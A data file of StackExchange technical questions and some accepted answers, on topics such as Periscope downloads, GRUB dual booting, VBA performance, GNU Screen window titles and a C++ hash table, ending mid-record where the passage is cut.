{  "id": "_webapps.80182"  , "question": "Majority of the search results for download periscope lead to websites allowing me to download the app.download periscope stream is a much better search term that actually led me to two solutions but none of them are convenient.1) tried and workshttp://www.quora.com/How-do-I-save-my-Periscope-video-or-broadcast-to-my-phone/answer/Andrew-Leyden - that requires that the phone is connected all the time (for the whole 50 minutes of the stream)2) didn't try, should workRecording screen + using http://www.instructables.com/id/How-to-record-audio-from-your-computer-using-Quick/ to record audio (again, 50 minutes waiting)I also tried using technique described here - https://stackoverflow.com/questions/30073330/downloading-storing-periscope-live-streaming-broadcasts - just by observing network request and populating list of URLs to download via wget:https://replay.periscope.tv/  ...  ==/chunk_1.tshttps://replay.periscope.tv/  ...  ==/chunk_2.tsBut that naive version fails - they check cookie... Maybe I should use PhantomJS to accept cookie and then download the chunks? Before I start digging into that - maybe there is a straightforward, off the bat, ready to go solution I'm missing?The question is generic and applies to any periscope video.Bonus question - what if the video is mine - can I retroactively save it to the camera roll from the periscope app? (assuming autosave broadcast option was turned off)"  , "title": "How to (most efficiently) download video from Periscope?"  , "tags": "video;download;video streaming;streaming"  } 
{  "id": "_unix.244211"  , "question": "ProblemHi. I'm from Debian Land. I've used OpenSUSE before, but never on my own systems. I'm now attempting to understand it better as we have an application in development which will run on OpenSUSE.OpenSUSE has a 'Tumbleweed', 'Factory', and a 'Leap'.There is very little clear and concise information on the official OpenSUSE website describing the differences between these. The information is jumbled, mixed, poorly written and frustrating. (The OpenSUSE Wikipedia article appears outdated as well.)QuestionWhat is the difference between these various OpenSUSE releases/flavors?"  , "title": "What is the difference between the many OpenSUSE flavors?"  , "tags": "linux;opensuse"  } 
{  "id": "_webapps.25681"  , "question": "Every other image I see hotlinked from imgur returns a 403 - Forbidden error.If I copy and paste the link into my browser the image will load. Or if I delete the initial i. in the URL, the image loads. The image will not load if it's used in a bbcode style tag, or if I right click on it and choose open in a new tab.Do you know the cause or a fix?These are a couple of examples that you'll probably be able to see, but I can't unless I do one of those above mentioned actions:http://i.imgur.com/MLGyL.pnghttp://i.imgur.com/dwvwq.jpg"  , "title": "How to remedy imgur 403 forbidden errors?"  , "tags": "imgur"  , "accepted_answer": "I found out that imgur has an outright ban on the site for some reason. No one knows why.The workaround is to use the site's https connection, then the images will load. We guess imgur didn't ban https://site.com."  } 
{  "id": "_unix.387735"  , "question": "Frist: I'm new to linux. I'm using debian 9.1.0 lxde 64 bits.I gave up trying to change the resolution when I got black screen at the login screen, just the terminal mode (Ctrl+Alt+F1) works. I tried the commom cvt -> xrandr --newmode -> xrandr --addmode -> xrandr output I get an error at the addmode step, and tried with gft too, but the same. also tried to edit the xorg.conf file, it was when I got this issue. I actually have access to my ext4 partition throuth windows 10 (using ExtFS).My driver version is 384.69, my gpu is gtx 750ti, my monitor is XP911AW. I got this data from it's EDID (all from the same file, at one run):DumpEDID v1.06Copyright (c) 2006 - 2017 Nir SoferWeb site: http://www.nirsoft.netActive                   : NoRegistry Key             : DISPLAY\\PEB038F\\1&8713bca&0&UID0Monitor Name             : XP911AWSerial Number            : 0708500665431Manufacture Week         : 37 / 2007ManufacturerID           : 41536 (0xA240)ProductID                : 911 (0x038F)Serial Number (Numeric)  : 16843009 (0x01010101)EDID Version             : 1.3Display Gamma            : 2.20Vertical Frequency       : 56 - 76 HzHorizontal Frequency     : 30 - 81 KHzMaximum Image Size       : 41 X 26 cm (19.1 Inch)Maximum Resolution       : 1440 X 900Support Standby Mode     : YesSupport Suspend Mode     : YesSupport Low-Power Mode   : YesSupport Default GTF      : NoDigital                  : NoSupported Display Modes  : 720 X  400  70 Hz 640 X  480  60 Hz 640 X  480  72 Hz 640 X  480  75 Hz 800 X  600  56 Hz 800 X  600  60 Hz 800 X  600  72 Hz 800 X  600  75 Hz1024 X  768  60 Hz1024 X  768  70 Hz1024 X  768  75 Hz1280 X  960  60 Hz1280 X  960  75 Hz1440 X  900  60 Hz1440 X  900  75 Hz1280 X 1024  60 Hz1280 X 1024  75 HzActive                   : NoRegistry Key             : DISPLAY\\PEB038F\\4&2c0f5421&0&UID16843008Monitor Name             : XP911AWSerial Number            : 0708500665431Manufacture Week         : 37 / 2007ManufacturerID           : 41536 (0xA240)ProductID                : 911 (0x038F)Serial Number (Numeric)  : 16843009 (0x01010101)EDID Version             : 1.3Display Gamma            : 2.20Vertical Frequency       : 56 - 76 HzHorizontal Frequency     : 30 - 81 KHzMaximum Image Size       : 41 X 26 cm (19.1 Inch)Maximum Resolution       : 1440 X 900Support Standby Mode     : YesSupport Suspend Mode     : YesSupport Low-Power Mode   : YesSupport Default GTF      : NoDigital                  : NoSupported Display Modes  : 720 X  400  70 Hz 640 X  480  60 Hz 640 X  480  72 Hz 640 X  480  75 Hz 800 X  600  56 Hz 800 X  600  60 Hz 800 X  600  72 Hz 800 X  600  75 Hz1024 X  768  60 Hz1024 X  768  70 Hz1024 X  768  75 Hz1280 X  960  60 Hz1280 X  960  75 Hz1440 X  900  60 Hz1440 X  900  75 Hz1280 X 1024  60 Hz1280 X 1024  75 HzJust a little off-topic, do you know if this driver (downloaded from geforce.com, which is a .run file) includes cuda too?EDIT: I tried to edit the xorg.conf file from windows, no sucess, and now the screen don't become black anymore, but don't start the graphical interface at all. I still can use the CTRL+Alt+F1"  , "title": "How to set a custom resolution with nvidia drivers installed?"  , "tags": "nvidia;resolution"  } 
{  "id": "_webmaster.69617"  , "question": "I run a website where I have 3 AdSense units and 2 ad units from another ad network.The OTHER ad network sent me an DFP AdExchange invitation, saying that by signing up, they would be able to send more ads to my ad units and increase my revenue.The invitation url looks like thishttps://www.google.com/adxseller/participant-registration?invitation=[LONG CODE]Is it okay to sign up for AdExchange when I am already using AdSense on my site.Is there any official statement from Google about its policies on this topic ?I did come across this doc which explains how AdExchange works."  , "title": "Can I use AdSense and AdExchange enabled networks together on a website"  , "tags": "google adsense;google adsense policies;doubleclick ad exchange"  } 
{  "id": "_unix.350079"  , "question": "I saw Dual boot - Installed arch and windows entry disappeared on grub and I have the same/similar problem. I have Grub and it shows only Debian setup and not MS-Windows. I also tried the following but without success -    [$] sudo grub-install /dev/sda    [sudo] password for shirish:    Installing for i386-pc platform.    Installation finished. No error reported.Then - [$] sudo grub-mkconfig -o /boot/grub/grub.cfg                                                                                       Generating grub configuration file ...Found background image: /usr/share/images/desktop-base/desktop-grub.pngD000001: cmpversions a='0:4.9.0-2-amd64' b='0:4.9.0-1-amd64' r=1Found linux image: /boot/vmlinuz-4.9.0-2-amd64Found initrd image: /boot/initrd.img-4.9.0-2-amd64Found linux image: /boot/vmlinuz-4.9.0-1-amd64Found initrd image: /boot/initrd.img-4.9.0-1-amd64Found memtest86+ image: /boot/memtest86+.binFound memtest86+ multiboot image: /boot/memtest86+_multiboot.binFound GRUB Invaders image: /boot/invaders.execdoneThe above tells me it isn't able to find the MS-Windows partition. Here's the output from parted -l -l: ATA ST1000DM003-9YN1 (scsi)Disk /dev/sda: 1000GBSector size (logical/physical): 512B/4096BPartition Table: msdosDisk Flags: Number  Start   End     Size    Type      File system     Flags 1      32.3kB  52.4GB  52.4GB  primary   ntfs 2      52.4GB  1000GB  948GB   extended                  lba 5      52.4GB  105GB   52.4GB  logical   ntfs 6      105GB   305GB   200GB   logical   ext4            boot 7      305GB   405GB   100GB   logical   ext4 8      405GB   995GB   590GB   logical   ext4 9      995GB   1000GB  5348MB  logical   linux-swap(v1)Model: Seagate BUP Slim BK (scsi)Disk /dev/sdb: 2000GBSector size (logical/physical): 512B/4096BPartition Table: msdosDisk Flags: Number  Start   End     Size    Type     File system  Flags 1      1049kB  2000GB  2000GB  primary  ntfsand then lsblk output - [$] sudo lsblk -f                                                                                                                   NAME   FSTYPE  LABEL               UUID                                 MOUNTPOINTsda                                                                     sda1 ntfs    WIN                 xxxxxxxxxxxxxxxxxxxx                     sda2                                                                  sda5 ntfs    Data                xxxxxxxxxxxxxxxxxxxx                     sda6 ext4                        xxxxxxxxxxxxxxxxxxxx /sda7 ext4                        xxxxxxxxxxxxxxxxxxxx /homesda8 ext4                        xxxxxxxxxxxxxxxxxxxx/datasda9 swap                        xxxxxxxxxxxxxxxxxxxx [SWAP]sdb    iso9660 ISOIMAGE            2015-06-04-16-30-00-00               sdb1 ntfs    Seagate-Slim-Backup xxxxxxxxxxxxxxxxxxxx                     /media/shirish/Seagate-Slim-Backupsr0      I haven't shared UUID info. for safety and privacy concerns.                                                                My /boot/grub/grub.cfg makes no mention of any MS-Windows [$] cat [$]How do I get the MS-Windows again on the menu ?I even tried osprober but no avail :([$] cat /usr/share/doc/os-prober/READMEI even tried os-prober readme -$ sudo cat /usr/share/doc/os-prober | grep $I even tried the README but to no avail, from the README 0 Tests that require the partition to be mounted can be placed in    30  /usr/lib/os-probes/mounted/. These tests are passed the following    31  parameters: partition, mount point, filesystem. $ sudo mount /dev/sda1 /usr/lib/os-probes/mounted/and tried things like - [$] sudo os-prober partition /dev/sda1 /usr/lib/os-probes/mounted/    [sudo] password for shirish: [$]Then I ran os-prober as sudo - [$] sudo os-proberand then ran - [shirish@debian] - [/boot] - [10119][$] sudo grub-mkconfig -o /boot/grub/grub.cfg                                                                                       Generating grub configuration file ...Found background image: /usr/share/images/desktop-base/desktop-grub.pngFound linux image: /boot/vmlinuz-4.9.0-2-amd64Found initrd image: /boot/initrd.img-4.9.0-2-amd64Found memtest86+ image: /boot/memtest86+.binFound memtest86+ multiboot image: /boot/memtest86+_multiboot.binFound GRUB Invaders image: /boot/invaders.execdoneAs can be seen it doesn't find the MS-Windows partition, is it lost forever or there may be a way out ?Sadly had to unmount it :([$] sudo umount /usr/lib/os-probes/mounted/[$] All out of ideas, it seems that Windows bootloader is all shot otherwise we should have had some output ?This is how it looks in /etc/grub.d/40_custom after GAD3R's sharing -#!/bin/sh    exec tail -n +3 $0# This file provides an easy way to add custom menu entries.  Simply type the# menu entries you want to add after this comment.  Be careful not to change# the 'exec tail' line above.menuentry Windows {    insmod part_msdos    insmod ntfs    set root='(hd0,msdos1)'    chainloader +1    }After putting GAD3R's suggestions I get -[$] cat /etc/default/grub | grep GRUB_DISABLE_OS_PROBER                                                                                11  GRUB_DISABLE_OS_PROBER=falseand running update-grub I get the following -[$] sudo update-grub                                                                                                               Generating grub configuration file ...Found background image: /usr/share/images/desktop-base/desktop-grub.pngFound linux image: /boot/vmlinuz-4.9.0-2-amd64Found initrd image: /boot/initrd.img-4.9.0-2-amd64Found memtest86+ image: /boot/memtest86+.binFound memtest86+ multiboot image: /boot/memtest86+_multiboot.binFound GRUB Invaders image: /boot/invaders.execNo change, so something is still amiss :("  , "title": "How to use os-prober to find MS-Windows boot data?"  , "tags": "debian;dual boot;grub;mbr"  } 
{  "id": "_codereview.120052"  , "question": "I've made the following VBA script to analyse text recurrence in a huge batch of descriptions.For a small part of the batch the code run smoothly, but when I include everything it tends to loose control, get stuck and both Excel and VBE freeze.What I did to avoid this (at least most of the times), is to include temporisation (DoEvents) and use the Immediate Window to show that the code is still alive :If Int(i / 1000) = i / 1000 Then    Debug.Print iElse    If Int(i / 100) = i / 100 Then        DoEvents    Else    End IfEnd IfI guess there are better ways to handle that kind of behavior in VBA, but I don't know.Here is the full code, that is probably improvable :Sub test_usedW()Dim A()A = get_most_used_words_array(An_Array, 1, True)End SubFunction get_most_used_words_array(ByVal ArrayToAnalyse As Variant, Optional ByVal ColumnToAnalyse As Integer = 1, Optional OutputToNewSheet As Boolean = False) As VariantDim A() As String, _    wb As Workbook, _    wS As Worksheet, _    Dic As Scripting.Dictionary, _    DicItm As Variant, _    NbMaxWords As Integer, _    TpStr As String, _    Results() As Variant, _    DicItm2 As Object, _    R(), _    iA As Long, _    i As Long, _    j As Long, _    k As Long, _    c As RangeSet wb = ThisWorkbookSet Dic = CreateObject(Scripting.Dictionary)Dic.CompareMode = TextCompareNbMaxWords = 5'--1--Balayage du tableauFor iA = LBound(ArrayToAnalyse, 1) To UBound(ArrayToAnalyse, 1)    If ArrayToAnalyse(iA, ColumnToAnalyse) <> vbNullString Then        '--2--Uniformisation des descriptions pour plus de conformit        ArrayToAnalyse(iA, ColumnToAnalyse) = CleanStr(ArrayToAnalyse(iA, ColumnToAnalyse))        A = Split(ArrayToAnalyse(iA, ColumnToAnalyse),  )        DoEvents        '--1--Ajout mots simples        For i = LBound(A) To UBound(A)            TpStr = CleanStr(A(i))            If Len(TpStr) > 3 Then                If Not Dic.exists(TpStr) Then                    Dic.Add TpStr, TpStr                Else                    DoEvents                End If            Else            End If        Next i        '--1--Ajout expressions (plusieurs mots)        If NbMaxWords < 10 Then            For i = LBound(A) To UBound(A)                For k = 2 To NbMaxWords                    j = 0                    TpStr = vbNullString                    Do While j <= k And i + j <= UBound(A)                        TpStr = TpStr &   & CleanStr(A(i + j))                        j = j + 1                    Loop                    TpStr = CleanStr(TpStr)                    If Len(TpStr) > 3 Then                        If Not Dic.exists(TpStr) Then                            Dic.Add TpStr, TpStr                        Else                            DoEvents                        End If                    Else                        DoEvents                    End If                Next k            Next i        End If    Else    End IfNext iA'Results = Application.Transpose(Dic.Items)   ReDim Results(Dic.Count - 1)   For i = 0 To Dic.Count - 1    Results(i) = Dic.Items(i)    If Int(i / 1000) = i / 1000 Then        Debug.Print i    Else        If Int(i / 100) = i / 100 Then            DoEvents        Else        End If    End IfNext iReDim R(1 To UBound(Results), 3)Debug.Print UBound(Results) :  & UBound(Results)For i = 1 To UBound(Results)    R(i, 0) = Results(i)    ', 1)    R(i, 2) = Len(R(i, 0))    For iA = LBound(ArrayToAnalyse, 1) To UBound(ArrayToAnalyse, 1)        If ArrayToAnalyse(iA, ColumnToAnalyse) <> vbNullString Then            'Affinage du compatge? Exclusif? instr(  & search &  )?            If InStr(1, ArrayToAnalyse(iA, ColumnToAnalyse), R(i, 0)) Then R(i, 1) = R(i, 1) + 1            If InStr(1, ArrayToAnalyse(iA, ColumnToAnalyse),   & R(i, 0) &  ) Then R(i, 3) = R(i, 3) + 1        Else        End If    Next iA    If Int(i / 1000) = i / 1000 Then        Debug.Print i    Else        If Int(i / 100) = i / 100 Then            DoEvents        Else        End If    End IfNext iDoEventsIf OutputToNewSheet Then    Set wS = wb.Worksheets.Add    wS.Activate    'ws.Range(A1).Resize(UBound(R, 1), UBound(R, 2)).Value = R    For i = LBound(R, 1) To UBound(R, 1)        For j = LBound(R, 2) To UBound(R, 2)            If InStr(1, R(i, j), =) Then                wS.Cells(i + 1, j + 1) = ' & R(i, j)            Else                wS.Cells(i + 1, j + 1) = R(i, j)            End If        Next j    Next i    DoEventsElseEnd IfDoEventsget_most_used_words_array = REnd FunctionAnd the functions to simplify text :Function CleanStr(ByVal TheString As String)    Dim SpA() As String    Dim SpB() As String    Dim i As Integer    Const AccChars = | - | -|- |-| / | /|/ | . | .|. | , | ,|, | ) | )|) | ( | (|( |=|    |   |      Const RegChars =  | | | | |/|/|/|.|.|.|,|,|,|)|)|)|(|(|(|'=| | |     SpA = Split(AccChars, |)    SpB = Split(RegChars, |)    For i = LBound(SpA) To UBound(SpA)        TheString = Replace(TheString, SpA(i), SpB(i))    Next i    CleanStr = StripAccent(Trim(Trim(TheString)))End FunctionFunction StripAccent(ByVal TheString As String)    Dim A As String * 1    Dim B As String * 1    Dim i As Integer    Const AccChars =     Const RegChars = aaaaaaceeeeiiiidnooooouuuuyySZszYAAAAAACEEEEIIIIDNOOOOOUUUUY    For i = 1 To Len(AccChars)        A = Mid(AccChars, i, 1)        B = Mid(RegChars, i, 1)        TheString = Replace(TheString, A, B)    Next i    StripAccent = TheStringEnd Function"  , "title": "Code to analyse text get stuck if too much data"  , "tags": "vba;error handling;excel;time limit exceeded"  , "accepted_answer": "First:Simple speed-enhancementsThe 3 lowest hanging fruit in the VBA performance garden are Application.ScreenUpdating = FalseApplication.EnableEvents = FalseApplication.Calculation = xlCalculationManualPersonally, I have the following standard Methods for dealing with those:Option ExplicitPublic varScreenUpdating As BooleanPublic varEnableEvents As BooleanPublic varCalculation As XlCalculationPublic Sub StoreApplicationSettings()    varScreenUpdating = Application.ScreenUpdating    varEnableEvents = Application.EnableEvents    varCalculation = Application.CalculationEnd SubPublic Sub DisableApplicationSettings()    Application.ScreenUpdating = False    Application.EnableEvents = False    Application.Calculation = xlCalculationManualEnd SubPublic Sub RestoreApplicationSettings()    Application.ScreenUpdating = varScreenUpdating    Application.EnableEvents = varEnableEvents    Application.Calculation = varCalculationEnd SubWhich will return the settings to whatever they were before your sub runs. But, if you really want to do it properly, this question is a much better implementation.And now, in rough order of when I encounter things in your code, these are my thoughts:Your interruption check could be a lot betterIf Int(i / 1000) = i / 1000 Then    Debug.Print iElse    If Int(i / 100) = i / 100 Then        DoEvents    Else    End IfEnd IfPersonally, I prefer Mod() as in If i Mod 100 = 0 Then ...Also, did you intend for i to call DoEvents every 100 iterations except for every 1000th iteration?If not, it should be:If i Mod 100 = 0 Then    DoEvents    If i Mod 1000 = 0 Then Debug.Print iEnd IfOn this note i is not a very useful thing to Debug.print. If somebody else runs your program (or if you have more than one thing to print to the immediate window) then it's going to be very difficult to figure out what is going on. I recommend something like: Debug.Print [Name of procedure / loop / some other descriptor] - Iteration Counter:  & iSince it's in a For Loop, you already know how many iterations it should run for, so you should probably include that as well.This:For i = 0 To Dic.Count - 1    Results(i) = Dic.Items(i)    If Int(i / 1000) = i / 1000 Then        Debug.Print i    Else        If Int(i / 100) = i / 100 Then            DoEvents        Else        End If    End IfNext iThen Becomes:For i = 0 To Dic.Count - 1    Results(i) = Dic.Items(i)    If i Mod 100 = 0 Then        DoEvents        If i Mod 1000 = 0 Then Debug.Print Copy Dic to Results Array - Iteration Counter:  & i &  /  & Dic.Count - 1    End IfNext iAnd rather than seeing this in your immediate window:1000  2000  3000  4000   You'll seeCopy Dic to Results Array - Iteration Counter: 1000 / 4192  Copy Dic to Results Array - Iteration Counter: 2000 / 4192  Copy Dic to Results Array - Iteration Counter: 3000 / 4192  Copy Dic to Results Array - Iteration Counter: 4000 / 4192  Much more useful.Be ExplicitSub is not Sub it is actually (implicitly) Public SubSame with Function --> Public FunctionAnd Dim A --> Dim A As Variant Methods should be Public or PrivateVariables should have an explicit type (even if that type is intended to be Variant).  You do at least appear to be declaring your variables, so +1 for that.Don't abuse the _ operator.Dim A() As String, _      wb As Workbook, _      wS As Worksheet, _      Dic As Scripting.Dictionary, _      DicItm As Variant, _      NbMaxWords As Integer, _      TpStr As String, _      Results() As Variant, _      DicItm2 As Object, _      R(), _      iA As Long, _      i As Long, _      j As Long, _      k As Long, _      c As Range  Why do you want all these declarations on the same line?Just declare them separately like so:Dim A() As StringDim wb As WorkbookDim ws As WorksheetDim Dic As Scripting.DictionaryDim DicItm As VariantDim NBMaxWords as Integeretc.Now, you don't have to spend precious development time fiddling around with alignments and the inevitable missing / mis-typed _s that will crop up.Good naming is really, really importantTo quote developers far more experienced than I:There are only three hard things in computer science:  cache invalidation, off-by-one errors and naming things.Good names should be Clear, Concise and Unambiguous.Variables should sound like what they are.  ArrayToAnalyse is a good name. It is the array this function needs to analyse. Awesome. TpStr is not. I haven't got the faintest idea what this thing is or what it's meant to represent. I just spent a minute looking for it in your code to try and figure it out and I've still got no idea what it really is, except that it invariably gets cleaned and then added to your dictionary.A() and R() are particularly bad. I know they're arrays (due to their declaration) but I've got no idea what they're meant to be used for. When I see A = Split(ArrayToAnalyse(iA, ColumnToAnalyse),  ) in your code, how am I meant to know that it should be A and not R?Whereas if A was called, say, splitString and R was called resultsStorage then it's much easier to spot errors. (I don't actually know what R should be called, your names make it difficult to figure out what's actually going on and why).Also,Standard VBA Naming conventions have camelCase for local variables, and PascalCase only for sub/function names and Module/Global Variables. This allows you to tell at a glance if the variable you're looking at is local to your procedure, or coming from somewhere else.So:Dim localScope as VariantPrivate ModuleScope as VariantPublic GlobalScope as VariantPublic/Private Const CONSTANT_VALUE as String = This value never changesPublic Sub DoThisThing (ByRef firstParameter as Variant)following standard conventions is good because it allows other developers to easily read and understand your code."  } 
{  "id": "_unix.378888"  , "question": "I just installed CentOS 7 using the minimal settings, but there's no prompt shown on the display past the bootloader. I removed rhgb quiet but still nothing. The display says there's a signal but it's just black. There's a discrete GPU installed but the BIOS is configured to start IGP first and when I attach a display to the GPU it gets no signal, unlike the IGP.I found a few things saying it might have to do with SecureBoot, but I'm pretty sure I have that disabled.Mobo: MSI B250M PRO-VDCPU: Celeron G3930"  , "title": "CentOS 7 minimal install display signal but no prompt"  , "tags": "centos"  } 
{  "id": "_webapps.8215"  , "question": "I have a gmail contact which I don't want them to see me online - but I still want the others contact see me online. A feature similar to stealth setting in Yahoo. How can I do that with gmail/gtalk?[Edit]Thanks to help from user, blocking user as offically said here is the answered.Blocking someone will prevent him or  her from talking to you, and  vice-versa. Blocked users can't see  when you're signed in to Google Talk,  and you won't see their status in your  Friends list, either. If you decide  you'd like to communicate with someone  you've blocked, just unblock them."  , "title": "How to get rid of a Google contact in your chatting list?"  , "tags": "google contacts"  , "accepted_answer": "Click the Video & More drop down when you hover over the contact, then select Block. You will always appear in their list as offline.(Edit: In Google Talk, hover over the contact and you get a down arrow. Click Block (name).)"  } 
{  "id": "_softwareengineering.334474"  , "question": "Shared Access Signature is a delegated access mechanism available for Azure resources and account. Based on the documentation here - https://azure.microsoft.com/en-in/documentation/articles/storage-dotnet-shared-access-signature-part-1/, it is clear SAS is never linked to a user principal. Thus making it vulnerable to repudiation and defeating the very meaning of access. Please help me in understanding the rationale of using SAS the way it is implemented Azure."  , "title": "How could Azure's implementation of SAS be called Delegated Access Mechanism?"  , "tags": "security;azure"  } 
{  "id": "_unix.83055"  , "question": "Using iotop, I found out that [flush-8:0] is doing a lot of hard disk activity, which explains the annoying slowdowns. However, I can't figure out what's the actual cause behind this flushing. No other process seems to be doing inordinate amounts of IO. And you can't strace a kernel task.I've also enabled IO debugging (via echo 1 >/proc/sys/vm/block_dump), but it gives me block numbers on a JFS filesystem, and I have no idea how to translate those into filenames (just try a web search to see what you get).I actually have a suspect, a java process that seems to cause hard disk activity whenever I interact with it. But strace -eread,write,open,stat -fp $PID show very little activity. Are there any other syscalls that could cause problems?Any other ideas?"  , "title": "find ount what [flush-8:0] is writing"  , "tags": "linux;filesystems;logs;hard disk;io"  } 
{  "id": "_unix.203086"  , "question": "I have a file with thousands of lines that start with:>Miriam132_38138    Otu32555|1I need to remove 'Miriam*********' so that each lines begins with:>Otu32555|1The first string of characters is always a combination of the word 'Miriam' and a set of 7, 8, or 9 characters. I played around with sed without much success."  , "title": "How to remove a string of characters after and before a specific character?"  , "tags": "text processing;sed"  } 
{  "id": "_datascience.778"  , "question": "I read in this post Is the R language suitable for Big Data that big data constitutes 5TB, and while it does a good job of providing information about the feasibility of working with this type of data in R it provides very little information about Python. I was wondering if Python can work with this much data as well. "  , "title": "Is Python suitable for big data"  , "tags": "bigdata;python"  , "accepted_answer": "To clarify, I feel like the original question references by OP probably isn't be best for a SO-type format, but I will certainly represent python in this particular case.Let me just start by saying that regardless of your data size, python shouldn't be your limiting factor. In fact, there are just a couple main issues that you're going to run into dealing with large datasets:Reading data into memory - This is by far the most common issue faced in the world of big data. Basically, you can't read in more data than you have memory (RAM) for. The best way to fix this is by making atomic operations on your data instead of trying to read everything in at once.Storing data - This is actually just another form of the earlier issue, by the time to get up to about 1TB, you start having to look elsewhere for storage. AWS S3 is the most common resource, and python has the fantastic boto library to facilitate leading with large pieces of data.Network latency - Moving data around between different services is going to be your bottleneck. There's not a huge amount you can do to fix this, other than trying to pick co-located resources and plugging into the wall."  } 
{  "id": "_softwareengineering.166645"  , "question": "I work in a medium sized company but with a very small IT force.Last year (2011), I wrote an application that is very popular with a large group of end-users.  We hit a deadline at the end of last year and some functionality (I will call funcA from now on) was not added into the application that was wanted at the very end.  So, this application has been running in live/production since the end of 2011, I might add without issue.Yesterday, a whole group of end-users started complaining that funcA that was never in the application is no longer working.  Our priority at this company is that if an application is broken it must be fixed first prior to prioritized projects.I have compared code and queries and there is no difference since 2011, which is proofA.  I then was able to get one of the end-users to admit that it never worked proofB, but since then that end-user has went back and said that it was working previously... I believe the horde of end-users has assimilated her.  I have also reviewed my notes for this project which has requirements and daily updates regarding the project which specifically states, funcA not achieved due to time constraints, proofC.  I have spoken with many of them and I can see where they could be confused as they are very far from a programming background, but I also know they are intelligent enough to act in a group in order to bypass project prioritization orders in order to get functionality that they want to make their job easier.The worst part is is that now group think is setting in and my boss and the head of IT is actually starting to believe them, even though there is no code or query changes.  As far as reviewing the state of the logic it is very cut and dry to the point of if 1 = 1, funcA will not work.So, this is the end of the description of my scenario, but I am trying not to get severally dinged on my performance metrics due to this which would essentially have me moved to fixing a production problem that doesn't exist that will probably take over 1 month."  , "title": "How to handle this unfortunately non hypothetical situation with end-users?"  , "tags": "project management;requirements;maintenance"  , "accepted_answer": "Disputes about easily-observable facts are actually quite easy to resolve: just observe the facts.  If I say there's a tree with purple wood outside my house, anyone able to come to my house can verify the truth or falsehood of my statement for themselves.If they're complaining that FuncA used to be in the product and used to work in an earlier version and now it's not working, and you don't think it was ever in the product, ask them to prove it.  (Or, in more gentle words, say something like we're having trouble reproducing the problem. Could you help us out here?)Give them a copy of the earlier version if they don't still have one, and get them in a LiveMeeting, and have them show you how they used to use FuncA.  If they can't do it, then (hopefully) they're realize that it wasn't in there afterall and get off your case about it, or at least try a different tactic to get it implemented.  (And make sure to get someone from management or PM in on the LiveMeeting.)"  } 
{  "id": "_unix.6065"  , "question": "I can change the name of a window with Ctrl-a Shift-a. Instead of editing several window names by hand, is there a way to have them automatically named after the current directory?"  , "title": "GNU Screen: new window name change"  , "tags": "terminal;gnu screen;window title"  , "accepted_answer": "Make your shell change the window title every time it changes directory, or every time it displays a prompt.For your ~/.bashrc:if [[ $TERM == screen* ]]; then  screen_set_window_title () {    local HPWD=$PWD    case $HPWD in      $HOME) HPWD=~;;      $HOME/*) HPWD=~${HPWD#$HOME};;    esac    printf '\\ek%s\\e\\\\' $HPWD  }  PROMPT_COMMAND=screen_set_window_title; $PROMPT_COMMANDfiOr for your ~/.zshrc (for zsh users):precmd () {  local tmp='%~'  local HPWD=${(%)tmp}  if [[ $TERM == screen* ]]; then    printf '\\ek%s\\e\\\\' $HPWD  fi}For more information, look up under Dynamic titles in the Screen manual, or under Titles (naming windows) in the man page."  } 
{  "id": "_unix.163100"  , "question": "If the shell script is #!/bin/shBut the value of my $SHELL is ksh. Will it make a difference if I changed my ksh to sh, and then executed the script. ie. will a script have different behaviour depending on what type of shell is executing it."  , "title": "Shell script written in a different shell than what my current shell"  , "tags": "shell;shell script"  , "accepted_answer": "will a script have different behaviour depending on what type of shell is executing it.In the sense that bash script.sh and ksh script.sh are likely to behave differently, yes. Commonly, that difference will be that one of them works and one gives an error, but there are a range of options. Many simple scripts will have the same behaviour on common shells, but more complex scripts are likely to hit one of the many differences between the languages provided by different shells.Will a script behave differently depending on your value of SHELL? Only if the script either invokes $SHELL itself, or tests or otherwise uses its value, directly or indirectly. Ordinary shell scripts generally will not, but they can.Will a script behave differently depending on the parent shell from which it was invoked? Extremely rarely - the script would have to do a fair bit of work to detect that, to the extent that it would almost have to be on purpose.I think your use case is running ./script.sh, which is a sh script, from your interactive shell, which is ksh. If that's right, we're in the last case above, and the script will almost certainly behave in the same way as if you were using any other shell yourself. The system will always start up a new /bin/sh process and tell it to execute the script."  } 
{  "id": "_codereview.171240"  , "question": "I wrote an implementation of a HashTable that uses bucket lists to store the key-value pairs implemented with a linked list.Here's the header://HashTable.h#ifndef HASHTABLE_H#define HASHTABLE_H#include ../../List/include/List.h/** * Implementation of a Hashtable based on bucket lists made with Linkedlist */template<typename K, typename V> class HashList;template<typename K, typename V>class HashPair{    private:        friend class HashList<K,V>;        K key;        V value;    public:        HashPair();        // Default constructor        HashPair(const K key,const V value);        // constructs a new hash pair given a key and a value        K getKey() const;        // returns the key        void setKey(const K key);        // sets the key        V getValue() const;        // returns the value        void setValue(const V v);        // sets the value};template<typename K, typename V>class HashList{    private:        List<HashPair<K,V>> l;    public:        List_iterator<HashPair<K,V>> find(const K key) const;        // Returns an HashPair given a key if present, null if absent        void insert(const K key,const V value) const;        // Inserts a key-value pair in the HashList        V lookup(const K key) const;        // Returns a reference to an HashPair value given a key if present; null otherwise        void remove(const K key) const;        // Removes an element given a key        bool empty() const;        // Returns true if the list is empty, false otherwise        List_iterator<HashPair<K,V>> begin() const;        List_iterator<HashPair<K,V>> end() const;        bool finished(List_iterator<HashPair<K,V>> const p) const;};template<typename K, typename V>class HashTable;template<typename K, typename V>class hash_iterator;template<typename K, typename V>bool operator ==(const hash_iterator<K,V> it, const hash_iterator<K,V> it2);template<typename K, typename V>bool operator !=(const hash_iterator<K,V> it, const hash_iterator<K,V> it2);template<typename K, typename V>class hash_iterator{    private:        HashTable<K,V>* baseTable;        int i;        List_iterator<HashPair<K,V>> it;        List_iterator<HashPair<K,V>> nextOccurrence();    public:        hash_iterator();        hash_iterator(HashTable<K,V>* table);        hash_iterator(const hash_iterator& it2);        friend bool operator == <>(const hash_iterator it, const hash_iterator it2);        friend bool operator != <>(const hash_iterator it, const hash_iterator it2);        hash_iterator begin();        hash_iterator end();        hash_iterator operator ++(); //prefix        hash_iterator operator ++( int ); //postfix        HashPair<K,V> operator *() const;};template<typename K, typename V>class HashTable{    protected:        HashList<K,V>* entries;        int m;  //table dimension        friend class hash_iterator<K,V>;    public:        HashTable(const int capacity);        //Creates a new hash table with given dimension        ~HashTable();        //Destructor        bool contains(const K k) const;        //Returns true if the hashtable contains k        V lookup(const K k) const;        //returns the value being searched if present, nil otherwise        V operator [](const K k) const;        // same as lookup, with a array like notation        void insert(const K key,const V value) const;        //Inserts the key-value pair into the table        void remove(const K key) const;        //Given a key, it removes the key-pair value, if present        int Hash(const long int key) const;        //Hash function        